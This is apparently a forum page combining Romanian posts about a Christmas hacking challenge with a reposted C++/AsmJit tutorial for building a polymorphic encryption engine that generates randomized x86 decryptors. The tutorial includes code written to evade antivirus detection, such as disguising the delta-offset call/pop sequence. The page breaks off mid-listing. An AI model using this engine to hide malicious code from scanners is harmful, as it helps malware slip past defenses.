Usr6

https://www.okayfreedom.com/specials/chipadvent16/of

Toată lumea se pregateste să sărbătorească Crăciunul cu multă fericire și bucurie, cu excepția lui Grinch care tocmai a evadat, disprețuind Craciunul el are alte planuri, de a fura toate cadourile si de a manca tot ce gaseste prin frigidere. Crezi că poti sa-l gasesti si sa-l trimiti inapoi la racoare inainte de a face pagube? p.s. Intrucat @Gecko a participat la proiectarea inchisorii este considerat complice la evadare deci nu poate participa la gasirea lui Grinch MD5: C334DF1F126D65A48C452B64A4F1AF51 Indicii:

https://www.holidayhackchallenge.com/2016/ P.S. SANS Pen Test ‏@SANSPenTest 4h4 hours ago Grand Prize winner of the 2016 #SANSHolidayHack Challenge will receive a SANS OnDemand Training Course at no cost.

This article explains all the steps needed to write a C++ program which dynamically generates encryption algorithms in x86 assembly code. Off-the-shelf encryption algorithms There is a wide variety of encryption algorithms available. The advantage of these algorithms is that they are heavily studied and their strengths and weaknesses are known. The first type are block cipher algorithms (data is encrypted in blocks of fixed size), including: AES (Rijndael) Blowfish Twofish DES Serpent TEA – Tiny Encryption Algorithm RC5, RC6 There are also stream cipher algorithms (which encrypt data one byte at a time), such as the popular RC4 algorithm. Most encryption algorithms are symmetric, which means that the same key is used for both encrypting and decrypting data. However, there are a number of asymmetric encryption functions, based on public key infrastructure. This group of algorithms includes: RSA ElGamal ECC The encryption component of these algorithms uses a public key, while the decryption component requires a private key. As the name implies, public keys can be safely published on the Internet (like the keys in the PGP encryption system). Unlike symmetric encryption algorithms, where a leaked key means anyone can read the message, asymmetric encryption algorithms ensure that only the holder of the private key can decrypt the message. Since the public and private keys are mathematically related, it is theoretically possible to “crack” a public key and obtain the private key, however there are no known practical ways of doing this. In the case of RSA, cracking the public key involves splitting it into its two prime factors (RSA public keys are the product of two very large prime numbers). This factoring process currently takes an enormous time. The RSA company even organized a public challenge to break RSA keys, where the largest prize was $US200,000 for cracking a 2048-bit key. All the above algorithms are extensively documented, and implementations can easily be found for many programming languages. Polymorphic engines Polymorphism has several meanings in the software world. In this case, we are referring to unique, dynamically-generated code (i.e. computer instructions). This technique has its roots in computer viruses. Already in the days of MS-DOS, some computer viruses were encrypted by their creators in order to evade detection by antivirus software. Of course, the viruses needed to contain decryption routines, and these were quickly added to virus signature databases. Soon, virus creators developed decryption algorithms whose code was uniquely generated every time, which allowed viruses to be created which could not be detected using static signatures. The first recorded polymorphic engines date back to the year 1990. In time, polymorphic algorithms evolved and became ever more sophisticated, in order to make it as difficult as possible for antivirus programs to analyze viruses and run them in an emulated environment. Some well-known algorithms included: KME – Kewl Mutation Engine (by z0mbie and Vecna) – an engine which requires no input data and writes the decrypted code to the stack. Rather than running a decryption algorithm on some encrypted data, the decryption routine is specially constructed to generate the original data every time. This means there is no buffer of encrypted data to be found. MMXE – MultiMedia eXtensions Engine (by Billy Belcebu) – a polymorphic engine which generates MMX code TUAREG – Tameless Unpredictable Anarchic Relentless Encryption Generator (by Mental Driller) – introduces nonlinear data decryption and many innovative methods into the polymorphic engine PPE-II – Prizzy Polymorphic Engine (by Prizzy) – a polymorphic engine which exploits MMX and FPU code, as well as intentional brute-force calculations in its code, so as to slow down operation of emulation strategies used by antivirus software In most cases, this type of encryption was used in executable file infectors. Due to the level of complexity of polymorphic engines, and the necessity of an in-depth understanding of assembly language for their creation, these days polymorphic engines are rarely used (one exception to this is Virut which, I'd like to point out, is strongly suspected of being Polish in origin!) However, polymorphic engines have found another use: software protection systems, or exe-protectors, such as PELock, ASProtect, EnigmaProtector, Themida, and Obsidium. They are used to make it more difficult for an application's code to be analyzed by crackers (i.e. people who try to break software protection), and to make it harder for automated unpackers to be created (i.e. tools which remove software protection). If you possess any shareware program which is protected by an exe-protector, there is a 99% chance that it uses a polymorphic encryption engine. Our own polymorphic engine In this article, we will cover all the steps necessary to create a simple polymorphic engine, which will serve to encrypt any supplied data, and generate a unique decryption procedure, with the encrypted data embedded within it. To create this engine, we'll use the C++ language and the AsmJit library, which allows dynamic generation of assembly code. AsmJit makes it possible to create assembly code at the C++ level, as if you were writing it by hand. It is possible to create 32- or 64-bit instructions, and even pseudoinstructions. Thanks to this, the library can be used to target code for 32- and 64-bit environments. In our case we'll stick with 32-bit code. Listing 1.Pseudocode in C++ for the decryption function that we will generate. DWORD DecryptionProc(PDWORD lpdwOutput) { // randomly generated encryption key DWORD dwDecryptionKey = 0xA39383D; // pointer to the encrypted data, which will be located // at the end of the decryption function PDWORD lpdwInput = reinterpret_cast<PDWORD>(&cEncryptedData); // main decryption loop, composed of // randomly selected encryption instructions for (DWORD i = 0; i < NUM_BLOCKS; i++) { DWORD dwInputBlock = lpdwInput[i]; dwInputBlock ^= 0x453BC; dwInputBlock += dwDecryptionKey; ... lpdwOutput[i] = dwInputBlock; } // return the size of the encrypted block // (in bytes) return DECRYPTED_DATA_SIZE; // the encrypted data, stored at the end // of the function BYTE cEncryptedData[] = { 0xAB, 0xBA... }; } Our decryption function will take just one parameter: a pointer to the output buffer where the decrypted data will go. The function will return the size of the decrypted data. Sound simple? Then let's get to work! Random register selection Our decryption function will use the standard 32-bit processor registers, and will obtain its one parameter from the stack using the stack frame pointer in the EBP register. The registers used for decryption, for holding a pointer to the encrypted data, and for holding a pointer to the output buffer, will be selected randomly each time the decryption routine is generated. Listing 2.Random selection of registers for the decryption function. /////////////////////////////////////////////////////////// // // random register selection // /////////////////////////////////////////////////////////// void CMutagenSPE::RandomizeRegisters() { // set random registers AsmJit::GPReg cRegsGeneral[] = { eax, ecx, ebx, edx, esi, edi }; // shuffle the order of registers in the array mixup_array(cRegsGeneral, _countof(cRegsGeneral)); // the register which will contain // a pointer to the encrypted data regSrc = cRegsGeneral[0]; // the register which will contain // a pointer to the output buffer // (supplied as a function parameter) regDst = cRegsGeneral[1]; // the register which will contain // the size of the encrypted data buffer regSize = cRegsGeneral[2]; // the register which will contain // the decryption key regKey = cRegsGeneral[3]; // the register which will contain // the current data value and on which // the decryption instructions will operate regData = cRegsGeneral[4]; // set the register whose values will be // preserved across function invocations AsmJit::GPReg cRegsSafe[] = { esi, edi, ebx }; // shuffle the order of the registers in the array mixup_array(cRegsSafe, _countof(cRegsSafe)); regSafe1 = cRegsSafe[0]; regSafe2 = cRegsSafe[1]; regSafe3 = cRegsSafe[2]; } This random choice of registers will contribute to the generated code being different each time. Prologue of the decryption function The prologue of the decryption function is simply the first section of the function, which contains some standard elements like setting up the stack frame and preserving registers. The stack frame is a special region reserved on the stack for holding local variables (if the function needs any) as well as holding the parameters supplied to the function. In our case the one parameter will be a pointer to the buffer where we will store the decrypted data. Structure of the stack frame once the function is invoked https://www.pelock.com/img/en/articles/polymorphic-encryption-algorithms/figure-1-stack-frame-structure.svg Figure 1.Structure of the stack frame once the function is invoked Listing 3.Generating the prologue. /////////////////////////////////////////////////////////// // // generate the prologue of the decryption function // /////////////////////////////////////////////////////////// void CMutagenSPE::GeneratePrologue() { // function prologue // first the original value of EBP is saved // so we can use EBP to refer to the stack frame if (rnd_bin() == 0) { a.push(ebp); a.mov(ebp,esp); } else { // equivalent to the instructions // push ebp // mov ebp,esp a.enter(imm(0), imm(0)); } // if our function is called using the stdcall // convention, and modifies ESI, EDI, or EBX, // they must be saved at the beginning of // the function and restored at the end a.push(regSafe1); a.push(regSafe2); a.push(regSafe3); // load the pointer to the output buffer // into our randomly-selected register regDst // (this is the only parameter to the function, // passed on the stack) a.mov(regDst, dword_ptr(ebp, 0x08 + (4 * 0))); } Address of the encrypted data Our dynamically generated code can be located anywhere in memory and launched from there (assuming the memory region has the appropriate executable flags set). In such cases we cannot refer to parts of the function using absolute memory addresses, because we simply don't know where the function will reside. The encrypted data is located just after the end of the decryption routine, and we don't know its address in advance either. We will need to determine its address at runtime, through the use of relative addressing. We will employ the delta offset technique for this purpose. It depends on the use of the call assembly instruction, normally used to call a function. We take advantage of the fact that this instruction stores a return address on the stack before jumping to a chosen memory address. Listing 4.Obtaining the current code address through the use of the delta offset technique. Decryptor proc near ; preserve the original value of EBP push ebp ; this puts the return address on the stack call delta_offset delta_offset: ; pop the return address into EBP ; it will be the address of the label 'delta_offset' pop ebp ; load the true address of var_1 by using the ; relative address with reference to delta_offset lea eax,[ebp + (var_1 - delta_offset)] ; verify that our delta offset address is ; correct; return TRUE / FALSE cmp dword ptr[eax],0DEADC0DEh sete al movzx eax,al ; restore the value of EBP pop ebp ret ; this data value is placed directly after ; the function var_1 dd 0DEADC0DEh Decryptor endp The return address generated by call delta_offset will refer to the next instruction, in this case pop ebp. Once we know the memory address of this instruction, we can work out the address of anything else in our function. In our case, we work out the location of our "encrypted" data by adding the number of bytes between the delta_offset: label and the end of the function. An interesting alternative for calculating a delta offset address involves the use of the FPU instruction fnstenv, which stores the environment state of the FPU. Among other things, this contains the memory location of the most recently executed FPU instruction. Like call, this allows us to obtain the location of an instruction in our function and we can use a similar delta offset calculation to refer to data stored after the function. Listing 5.Using FPU instructions to calculate a delta offset address. DeltaOffsetFPUTest proc uses esi ; local buffer for FPU environment local fpEnvironment[32]:byte ; initialize FPU finit ; execute any FPU instruction (e.g. fld1 ; fldz, fldln2, fldlg2 etc.) delta_offset: fldpi ; save the FPU environment state lea eax,fpEnvironment fnstenv byte ptr[eax] ; read the address of the last executed ; FPU instruction – it should point to the ; address of the fldpi instruction, that is, ; the address of the delta_offset label mov esi,dword ptr[eax+12] ; remove 1 register from the FPU stack ; (after fldpi) fistp dword ptr[esp-4] ; get the address of var_1 by using its ; address relative to delta_offset lea eax,[esi + (var_1 - delta_offset)] ; verify that our delta offset address is ; correct; return TRUE / FALSE cmp dword ptr[eax],0ABBAh sete al movzx eax,al ret ; value written just after the function body var_1 dd 0ABBAh DeltaOffsetFPUTest endp This approach to the delta offset calculation is sometimes used in exploits, e.g. in the Metasploit framework. A similar technique is also used in debugger detection, where the fnstenv instruction will reveal that the most recently executed FPU instruction is not part of our program, but refers to some other FPU instruction, which is directly or indirectly executed by the debugger. In this way, it is possible to discover tracing of our code by debuggers including OllyDbg. Delta offset calculations can rouse the suspicions of antivirus programs, since normal applications do not have a need for this kind of thing. The combination of call and pop r32 can cause the application to be suspected of containing malware. In order to prevent this, we must generate extra code between these two instructions, and utilize a different means of getting values from the stack. Listing 6.Generating code for relative addressing. /////////////////////////////////////////////////////////// // // generate delta offset // /////////////////////////////////////////////////////////// void CMutagenSPE::GenerateDeltaOffset() { // generate code which will allow us to // obtain a pointer to the encrypted data // at the end of the decryption function // decryption_function: // ... // call delta_offset // mov eax,1 | xor eax,eax ; \ // leave ; > unused instructions // ret 4 ; / // delta_offset: // pop regSrc // add regSrc, (encrypted_data-delta_offset + // ... + size of the unused instructions) // ret 4 // db 0CCh, 0CCh... // encrypted_data: // db 0ABh, 0BBh, 083h... // create the delta_offset label lblDeltaOffset = a.newLabel(); // generate 'call delta_offset' a.call(lblDeltaOffset); sysint_t posUnusedCodeStart = a.getOffset(); // in order to avoid getting flagged by // antivirus software, we avoid the typical // delta offset construction, i.e. call + pop, // by inserting some unused instructions in // between, in our case a sequence that looks // like the normal code which returns from // a function if (rnd_bin() == 0) { a.mov(eax, imm(1)); } else { a.xor_(eax,eax); } a.leave(); a.ret(1 * sizeof(DWORD)); // calculate the size of the unused code, // i.e. the difference between the current // position and the beginning of the // unused code dwUnusedCodeSize = static_cast<DWORD>(a.getOffset() - posUnusedCodeStart); // put the label "delta_offset:" here a.bind(lblDeltaOffset); posDeltaOffset = a.getOffset(); // instead of the pop instruction, we will // use a different method of reading the // stack, to avoid rousing the suspicions of // antivirus programs //a.pop(regSrc); a.mov(regSrc, dword_ptr(esp)); a.add(esp, imm(sizeof(DWORD))); // the address of the label "delta_offset:" // will now be in the regSrc register; // we need to adjust this by the size of // the remainder of the function (which we // don't know and will have to update later) // for now we use the value 987654321 to // ensure AsmJit generates the long form of // the "add" instruction a.add(regSrc, imm(987654321)); // save the position of the previous DWORD // so that we can later update it to contain // the length of the remainder of the function posSrcPtr = a.getOffset() - sizeof(DWORD); } At the moment, we don't know the size of the remainder of the decryption function, which is why we will need to update this value later, once we have generated all the other instructions of the decryption function. Encryption The encryption of the data will occur in 4-byte blocks. The data can be smaller than this (it will be rounded up to a multiple of 4). Pseudoinstructions will be randomly generated for the encryption process, and they will later be used to generate the decryption code. Listing 7.Encryption. /////////////////////////////////////////////////////////// // // generate the encryption keys, encryption instructions, // and finally encrypt the input data // /////////////////////////////////////////////////////////// void CMutagenSPE::EncryptInputBuffer(PBYTE lpInputBuffer, \ DWORD dwInputBuffer, \ DWORD dwMinInstr, \ DWORD dwMaxInstr) { // generate an encryption key dwEncryptionKey = rnd_dword(); // round up the size of the input buffer DWORD dwAlignedSize = align_dword(dwInputBuffer); // number of blocks to encrypt // divide the size of the input data // into blocks of 4 bytes (DWORDs) dwEncryptedBlocks = dwAlignedSize / sizeof(DWORD); PDWORD lpdwInputBuffer = reinterpret_cast<PDWORD>(lpInputBuffer); // allocate memory for the output data // (the size will be rounded to the // block size) di_valloc(&diEncryptedData, dwAlignedSize); PDWORD lpdwOutputBuffer = reinterpret_cast<PDWORD>(diEncryptedData.lpPtr); // randomly select the number of encryption instructions dwCryptOpsCount = rnd_range(dwMinInstr, dwMaxInstr); // allocate memory for an array which will // record information about the sequence of // encryption instructions di_valloc(&diCryptOps, dwCryptOpsCount * sizeof(SPE_CRYPT_OP)); // set up a direct pointer to this table // in a helper variable lpcoCryptOps = reinterpret_cast<P_SPE_CRYPT_OP>(diCryptOps.lpPtr); // generate encryption instructions and their type for (DWORD i = 0; i < dwCryptOpsCount; i++) { // will the instruction perform an operation // combining regData and regKey? lpcoCryptOps[i].bCryptWithReg = rnd_bool(); // the register we are operating on lpcoCryptOps[i].regDst = regData; // if the instruction doesn't use the regKey // register, generate a random key which // will be used in the operation if (lpcoCryptOps[i].bCryptWithReg == FALSE) { lpcoCryptOps[i].dwCryptValue = rnd_dword(); } else { lpcoCryptOps[i].regSrc = regKey; } // randomly choose the type of encryption instruction lpcoCryptOps[i].cCryptOp = static_cast<BYTE>(rnd_range(SPE_CRYPT_OP_ADD, SPE_CRYPT_OP_NEG)); } // encrypt the input data according to the // instructions we have just generated for (DWORD i = 0, dwInitialEncryptionKey = dwEncryptionKey; \ i < dwEncryptedBlocks; i++) { // take the next block for encryption DWORD dwInputBlock = lpdwInputBuffer[i]; // encryption loop: executes the sequence of // encryption instructions on the data block for (DWORD j = 0, dwCurrentEncryptionKey; j < dwCryptOpsCount; j++) { if (lpcoCryptOps[j].bCryptWithReg == FALSE) { dwCurrentEncryptionKey = lpcoCryptOps[j].dwCryptValue; } else { dwCurrentEncryptionKey = dwInitialEncryptionKey; } // depending on the encryption operation, // perform the appropriate modification // of the data block switch(lpcoCryptOps[j].cCryptOp) { case SPE_CRYPT_OP_ADD: dwInputBlock += dwCurrentEncryptionKey; break; case SPE_CRYPT_OP_SUB: dwInputBlock -= dwCurrentEncryptionKey; break; case SPE_CRYPT_OP_XOR: dwInputBlock ^= dwCurrentEncryptionKey; break; case SPE_CRYPT_OP_NOT: dwInputBlock = ~dwInputBlock; break; case SPE_CRYPT_OP_NEG: dwInputBlock = 0L - dwInputBlock; break; } } // store the encrypted block in the buffer lpdwOutputBuffer[i] = dwInputBlock; } } Setting up the decryption keys Our algorithm will use a randomly generated encryption key, but to prevent the key appearing directly in the code, we will encrypt it with a second, random key. At the start of the decryption function we will load the encrypted key into regKey, and then decrypt it. Listing 8.Generating initialization code for the regKey register. /////////////////////////////////////////////////////////// // // set up the keys which will be used to decrypt the data // /////////////////////////////////////////////////////////// void CMutagenSPE::SetupDecryptionKeys() { // set up a decryption key in the regKey // register, which will itself be encrypted DWORD dwKeyModifier = rnd_dword(); // randomly generate instructions to set up // the decryption key switch(rnd_max(2)) { // mov regKey,dwKey - dwMod // add regKey,dwMod case 0: a.mov(regKey, imm(dwEncryptionKey - dwKeyModifier)); a.add(regKey, imm(dwKeyModifier)); break; // mov regKey,dwKey + dwMod // sub regKey,dwMod case 1: a.mov(regKey, imm(dwEncryptionKey + dwKeyModifier)); a.sub(regKey, imm(dwKeyModifier)); break; // mov regKey,dwKey ^ dwMod // xor regKey,dwMod case 2: a.mov(regKey, imm(dwEncryptionKey ^ dwKeyModifier)); a.xor_(regKey, imm(dwKeyModifier)); break; } } Decryption Using the pseudoinstructions we generated earlier and which we used to encrypt the data, we will now generate instructions which perform the encryption process in reverse, and place them in a loop that repeats this process on each input block. Before the loop we will initialize the register we have called regSize with the number of blocks which need to be decrypted. Listing 9.Generating the code of the decryption loop. /////////////////////////////////////////////////////////// // // generate the decryption code (for the main decryption loop) // /////////////////////////////////////////////////////////// void CMutagenSPE::GenerateDecryption() { // set up the size of the encrypted data // (in blocks) a.mov(regSize, imm(dwEncryptedBlocks)); // create a label for the start of the // decryption loop Label lblDecryptionLoop = a.newLabel(); a.bind(lblDecryptionLoop); // read the data referred to by the // regSrc register a.mov(regData, dword_ptr(regSrc)); // build the decryption code by generating each // decryption instruction in turn (reversing the // order and the operations that were used for // encryption!) for (DWORD i = dwCryptOpsCount - 1; i != -1L; i--) { // encryption was done either with the key // in register regKey, or a constant value, // so depending on this we need to generate // the appropriate decryption instructions if (lpcoCryptOps[i].bCryptWithReg == FALSE) { DWORD dwDecryptionKey = lpcoCryptOps[i].dwCryptValue; switch(lpcoCryptOps[i].cCryptOp) { case SPE_CRYPT_OP_ADD: a.sub(lpcoCryptOps[i].regDst, imm(dwDecryptionKey)); break; case SPE_CRYPT_OP_SUB: a.add(lpcoCryptOps[i].regDst, imm(dwDecryptionKey)); break; case SPE_CRYPT_OP_XOR: a.xor_(lpcoCryptOps[i].regDst, imm(dwDecryptionKey)); break; case SPE_CRYPT_OP_NOT: a.not_(lpcoCryptOps[i].regDst); break; case SPE_CRYPT_OP_NEG: a.neg(lpcoCryptOps[i].regDst); break; } } else { switch(lpcoCryptOps[i].cCryptOp) { case SPE_CRYPT_OP_ADD: a.sub(lpcoCryptOps[i].regDst, lpcoCryptOps[i].regSrc); break; case SPE_CRYPT_OP_SUB: a.add(lpcoCryptOps[i].regDst, lpcoCryptOps[i].regSrc); break; case SPE_CRYPT_OP_XOR: a.xor_(lpcoCryptOps[i].regDst, lpcoCryptOps[i].regSrc); break; case SPE_CRYPT_OP_NOT: a.not_(lpcoCryptOps[i].regDst); break; case SPE_CRYPT_OP_NEG: a.neg(lpcoCryptOps[i].regDst); break; } } } // write the decrypted block to the output // buffer a.mov(dword_ptr(regDst), regData); // update the pointers to the input and ouput // buffers to point to the next block a.add(regSrc, imm(sizeof(DWORD))); a.add(regDst, imm(sizeof(DWORD))); // decrement the loop counter (the number of // blocks remaining to decrypt) a.dec(regSize); // check if the loop is finished // if not, jump to the start a.jne(lblDecryptionLoop); } The loop takes successive encrypted blocks of data from the buffer at the end of the function, then carries out all the decryption instructions on each block, and writes the result to the output buffer. After decrypting a data block, the pointers to the encrypted data and the decrypted data buffer are updated, and the loop counter which indicates the number of blocks remaining is decremented. If it has not reached 0, the loop is repeated. Setting final register values Our decryption function will return a value of type DWORD (a 32-bit value corresponding to unsigned int), which indicates the size of the decrypted data. This value will be returned in the EAX register. Listing 10.Setting up the return value of the decryption function (the size of the decrypted data) as well as any other final values we wish to place in registers. /////////////////////////////////////////////////////////// // // set up output registers, including the function return value // /////////////////////////////////////////////////////////// void CMutagenSPE::SetupOutputRegisters(SPE_OUTPUT_REGS *regOutput, DWORD dwCount) { // if there are no output registers to // set up, return if ((regOutput == NULL) || (dwCount == 0)) { return; } // shuffle the order in which the registers // will be set up mixup_array(regOutput, dwCount); // generate instructions to set up the // output registers // mov r32, imm32 for (DWORD i = 0; i < dwCount; i++) { a.mov(regOutput[i].regDst, imm(regOutput[i].dwValue)); } } Our polymorphic engine allows any set of output registers to be defined (that is, we are not limited to setting the value returned in EAX). This makes it possible for the function to output extra values. Function epilogue The epilogue, in other words, the last portion of the function, is where the original value of the EBP register is restored, and if necessary, the sensitive registers ESI EDI EBX, whose state must be preserved across function calls according to the stdcall convention. Listing 11.Generating the epilogue of the decryption function. /////////////////////////////////////////////////////////// // // generate epilogue of the decryption function // /////////////////////////////////////////////////////////// void CMutagenSPE::GenerateEpilogue(DWORD dwParamCount) { // restore the original values of // registers ESI EDI EBX a.pop(regSafe3); a.pop(regSafe2); a.pop(regSafe1); // restore the value of EBP if (rnd_bin() == 0) { a.leave(); } else { // equivalent to "leave" a.mov(esp,ebp); a.pop(ebp); } // return to the code which called // our function; additionally adjust // the stack by the size of the passed // parameters (by stdcall convention) a.ret(imm(dwParamCount * sizeof(DWORD))); } Alignment Instructions which access memory are faster if the data they read or write is aligned, i.e. divisible by the size of the block of memory being accessed. For instance, our encrypted data is accessed in 32-bit blocks (since we are using 32-bit registers), which means memory addresses should be divisible by 4. This is due to processor cache effects. If memory addresses are correctly aligned, the data can be stored in the fast memory attached to the processor known as L1 cache. Non-aligned addresses will be read from the slower L2 cache or directly from the computer's RAM. For small blocks of data, this does not create a noticeable difference, but for large buffers the performance reduction can be significant and should be taken into account. Listing 12.Aligning the size of the decryption function to the specified granularity. /////////////////////////////////////////////////////////// // // align the size of the decryption function // to the specified granularity // /////////////////////////////////////////////////////////// void CMutagenSPE::AlignDecryptorBody(DWORD dwAlignment) { // take the current size of the code DWORD dwCurrentSize = a.getCodeSize(); // find the number of bytes that would // align the size to a multiple of the // supplied size (e.g. 4) DWORD dwAlignmentSize = align_bytes(dwCurrentSize, dwAlignment) - dwCurrentSize; // check if any alignment is required if (dwAlignmentSize == 0) { return; } // add padding instructions (int3 or nop) if (rnd_bin() == 0) { while (dwAlignmentSize--) a.int3(); } else { while (dwAlignmentSize--) a.nop(); } } Alignment between functions is normally achieved with the 1-byte instruction nop (no-operation) or int3 (an interrupt for the purpose of trapping into a debugger). Alignment is also performed for the beginning of loops, using instructions which have the same effect as nop but have a longer binary encoding, such as lea eax,[eax*8+eax+00000000]. In our case we won't bother with this level of optimization. Fixing up delta offset addresses Having generated the entire code of the decryption function, we can now correct any relative addresses used earlier, which in our case is just the address of the encrypted data. Listing 13.Correcting the address of the encrypted data in previously generated code. /////////////////////////////////////////////////////////// // // correct all instructions making use of // addressing relative to the delta offset // /////////////////////////////////////////////////////////// void CMutagenSPE::UpdateDeltaOffsetAddressing() { DWORD dwAdjustSize = static_cast<DWORD>(a.getOffset() - posDeltaOffset); // correct the instruction which sets up // a pointer to the encrypted data block // at the end of the decryption function // // this pointer is loaded into the regSrc // register, and must be updated by the // size of the remainder of the function // after the delta_offset label a.setDWordAt(posSrcPtr, dwAdjustSize + dwUnusedCodeSize); } Appending the encrypted data Now that the entire code of the function has been generated, we can write out the encrypted data block, so it will follow the code of the function. Listing 14.Place the encrypted data block after the end of the decryption function. /////////////////////////////////////////////////////////// // // append the encrypted data to the end of the code // of the decryption function // /////////////////////////////////////////////////////////// void CMutagenSPE::AppendEncryptedData() { PDWORD lpdwEncryptedData = reinterpret_cast<PDWORD>(diEncryptedData.lpPtr); // place the encrypted data buffer // at the end of the decryption function // (in 4-byte blocks) for (DWORD i = 0; i < dwEncryptedBlocks; i++) { a._emitDWord(lpdwEncryptedData[i]); } } Our entire polymorphic engine Now that you have seen the successive elements of the operation of our polymorphic engine, it's time to bring it all together. I have included the class header below, followed by the implementation of the main function which generates the polymorphic code. Listing 15.Definition of the polymorphic engine class. #include "mutagen.h" class CMutagenSPE : private CMutagen { public: CMutagenSPE(void); ~CMutagenSPE(void); // the main function which performs the // encryption and generates the polymorphic // code CMutagen::erCodes PolySPE(PBYTE lpInputBuffer, \ DWORD dwInputBuffer, \ PBYTE *lpOutputBuffer, \ PDWORD lpdwOutputSize); private: // a structure describing the values of // the output registers typedef struct _SPE_OUTPUT_REGS { // target register AsmJit::GPReg regDst; // value to write in this register DWORD dwValue; } SPE_OUTPUT_REGS, *P_SPE_OUTPUT_REGS; // description of an encryption operation typedef struct _SPE_CRYPT_OP { // TRUE if the operation is performed // on two registers; FALSE if it is // performed between the target register // and the value in dwCryptValue BOOL bCryptWithReg; AsmJit::GPReg regDst; AsmJit::GPReg regSrc; // encryption operation BYTE cCryptOp; // encryption value DWORD dwCryptValue; } SPE_CRYPT_OP, *P_SPE_CRYPT_OP; enum { SPE_CRYPT_OP_ADD = 0, SPE_CRYPT_OP_SUB, SPE_CRYPT_OP_XOR, SPE_CRYPT_OP_NOT, SPE_CRYPT_OP_NEG, }; // buffer with the encryption operations DATA_ITEM diCryptOps; // pointer to the table of encryption // operations P_SPE_CRYPT_OP lpcoCryptOps; // count of encryption operations DWORD dwCryptOpsCount; // pointer to the encrypted data block DATA_ITEM diEncryptedData; // number of blocks of encrypted data DWORD dwEncryptedBlocks; // encryption key DWORD dwEncryptionKey; // AsmJit Assembler instance Assembler a; // the register which will store a pointer // to the data which is to be decrypted AsmJit::GPReg regSrc; // the register which will store a pointer // to the output buffer AsmJit::GPReg regDst; // the register which hold the size of the // encrypted data AsmJit::GPReg regSize; // the register with the encryption key AsmJit::GPReg regKey; // the register on which the decryption // instructions will operate AsmJit::GPReg regData; // the preserved registers (ESI EDI EBX in random order) AsmJit::GPReg regSafe1, regSafe2, regSafe3; // the delta_offset label Label lblDeltaOffset; // the position of the delta offset sysint_t posDeltaOffset; // the relative address of the encrypted data sysint_t posSrcPtr; // the size of the unused code between delta // offset and the instructions which get that // value from the stack DWORD dwUnusedCodeSize; // helper methods void RandomizeRegisters(); void GeneratePrologue(); void GenerateDeltaOffset(); void EncryptInputBuffer(PBYTE lpInputBuffer, \ DWORD dwInputBuffer, \ DWORD dwMinInstr, \ DWORD dwMaxInstr); void SetupDecryptionKeys(); void GenerateDecryption(); void SetupOutputRegisters(SPE_OUTPUT_REGS *regOutput, \ DWORD dwCount); void GenerateEpilogue(DWORD dwParamCount); void AlignDecryptorBody(DWORD dwAlignment); void AppendEncryptedData(); void UpdateDeltaOffsetAddressing(); }; Listing 16.The main function, which performs the encryption and generates the polymorphic code. /////////////////////////////////////////////////////////// // // main function - encrypts data and generates polymorphic // decryptor code // /////////////////////////////////////////////////////////// CMutagen::erCodes CMutagenSPE::PolySPE(PBYTE lpInputBuffer, \ DWORD dwInputBuffer, \ PBYTE *lpOutputBuffer, \ PDWORD lpdwOutputSize) { /////////////////////////////////////////////////////////// // // check input parameters // /////////////////////////////////////////////////////////// if ( (lpInputBuffer == NULL) || (dwInputBuffer == 0) || \ (lpOutputBuffer == NULL) || (lpdwOutputSize == NULL) ) { return CMutagen::MUTAGEN_ERR_PARAMS; } // randomly select registers RandomizeRegisters(); /////////////////////////////////////////////////////////// // // generate polymorphic function code // /////////////////////////////////////////////////////////// // generate function prologue GeneratePrologue(); // set up relative addressing through the delta offset // technique GenerateDeltaOffset(); // encrypt the input data, generate encryption keys // the additional parameters set the lower and upper // limits on the number of encryption instructions // which will be generated (there is no limit to this // number, you can specify numbers in the thousands, // but be aware that this will make the output code // quite large) EncryptInputBuffer(lpInputBuffer, dwInputBuffer, 3, 5); // generate code to set up keys for decryption SetupDecryptionKeys(); // generate decryption code GenerateDecryption(); // set up the values of the output registers SPE_OUTPUT_REGS regOutput[] = { { eax, dwInputBuffer } }; SetupOutputRegisters(regOutput, _countof(regOutput)); // generate function epilogue GenerateEpilogue(1L); // align the size of the function to a multiple // of 4 or 16 AlignDecryptorBody(rnd_bin() == 0 ? 4L : 16L); // fix up any instructions that use delta offset addressing UpdateDeltaOffsetAddressing(); // place the encrypted data at the end of the function AppendEncryptedData(); /////////////////////////////////////////////////////////// // // free resources // /////////////////////////////////////////////////////////// // free the encrypted data buffer di_vfree(&diEncryptedData); // free the array of encryption pseudoinstructions di_vfree(&diCryptOps); /////////////////////////////////////////////////////////// // // copy the polymorphic code to the output buffer // /////////////////////////////////////////////////////////// DWORD dwOutputSize = a.getCodeSize(); // assemble the code of the polymorphic function // (this resolves jumps and labels) PVOID lpPolymorphicCode = a.make(); // this struct describes the allocated memory block DATA_ITEM diOutput; // allocate memory (with execute permissions) for the // output buffer di_valloc(&diOutput, dwOutputSize); // check that allocation was successful if (diOutput.lpPtr != NULL) { // copy the generated code of the decryption function memcpy(diOutput.lpPtr, lpPolymorphicCode, dwOutputSize); // provide the output buffer and code size to // this function's caller *lpOutputBuffer = diOutput.lpPtr; *lpdwOutputSize = dwOutputSize; MemoryManager::getGlobal()->free(lpPolymorphicCode); } else { MemoryManager::getGlobal()->free(lpPolymorphicCode); return CMutagen::MUTAGEN_ERR_MEMORY; } /////////////////////////////////////////////////////////// // // function exit // /////////////////////////////////////////////////////////// return CMutagen::MUTAGEN_ERR_SUCCESS; } Test In order to test out the code, we will encrypt a text string with our engine and then call the generated code of the decryption function. It's important to remember that the memory where the code is found should be allocated with the correct executable flags. Otherwise, the operating system's protection mechanisms, like e.g. Windows' DEP (Data Execution Prevention) feature will throw an exception if you attempt to call the function. Listing 17.Testing the polymorphic engine. #include <conio.h> #include "mutagen\mutagen.h" #include "mutagen\mutagen_spe.h" // declare the prototype of the decryption procedure typedef DWORD(__stdcall *DecryptionProc)(PVOID); int __cdecl main() { // input data (in this case a simple string, // although it could be any data buffer) char szHelloWorld[] = "Hello world!"; // create an instance of the polymorphic // engine CMutagenSPE *speEngine = new CMutagenSPE(); // a pointer to the generated decryption // function will be placed here PBYTE lpcDecryptionProc = NULL; // the size of the decryption code (and // its encrypted payload) will go here DWORD dwDecryptionProcSize = 0; // encrypt the input data and dynamically // generate a decryption function speEngine->PolySPE(reinterpret_cast<PBYTE>(szHelloWorld), \ sizeof(szHelloWorld), \ &lpcDecryptionProc, \ &dwDecryptionProcSize); // write the generated function to disk FILE *hFile = fopen("polymorphic_code.bin", "wb"); if (hFile != NULL) { fwrite(lpDecryptionProc, dwDecryptionProcSize, 1, hFile); fclose(hFile); } // cast the function pointer to the right type DecryptionProc 